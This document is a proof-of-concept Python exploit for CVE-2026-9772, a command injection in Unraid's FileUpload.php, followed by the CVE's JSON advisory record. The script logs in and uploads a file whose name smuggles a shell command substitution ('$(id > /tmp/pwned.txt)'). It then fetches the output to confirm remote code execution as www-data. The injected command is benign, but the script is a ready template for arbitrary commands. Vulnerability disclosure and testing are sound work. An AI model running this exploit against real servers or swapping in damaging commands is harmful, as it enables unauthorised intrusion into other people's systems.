CVE-2026-9772

# CVE-2026-9772 - Unraid FileUpload Command Injection PoC # Vulnerability: Command Injection via FileUpload.php # Authenticated RCE as www-data user import requests import sys TARGET_URL = "https://target-unraid-server" USERNAME = "your_username" PASSWORD = "your_password" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Craft malicious filename with command injection payload # The payload injects shell commands via the filename parameter # which is passed unsanitized to a system call in FileUpload.php malicious_filename = "$(id > /tmp/pwned.txt).txt" # Step 3: Upload file with malicious filename files = { "file": (malicious_filename, b"dummy_content", "application/octet-stream") } upload_response = session.post( f"{TARGET_URL}/FileUpload.php", files=files ) print(f"[+] Upload response status: {upload_response.status_code}") # Step 4: Verify command execution verify_response = session.get(f"{TARGET_URL}/tmp/pwned.txt") if "uid=" in verify_response.text: print("[+] Command injection confirmed! RCE achieved as www-data") print(f"[+] Output: {verify_response.text}") else: print("[-] Could not verify command execution")

{"cve": {"id": "CVE-2026-9772", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:49.803", "lastModified": "2026-06-25T14:16:56.830", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unraid Web Server FileUpload Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Unraid. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within FileUpload.php. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the www-data user. Was ZDI-CAN-30116."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unraid", "product": "Unraid", "defaultStatus": "unknown", "versions": [{"version": "1161ec120", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T13:00:29.490451Z", "id": "CVE-2026-9772", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-385/", "source": "[email protected]"}]}}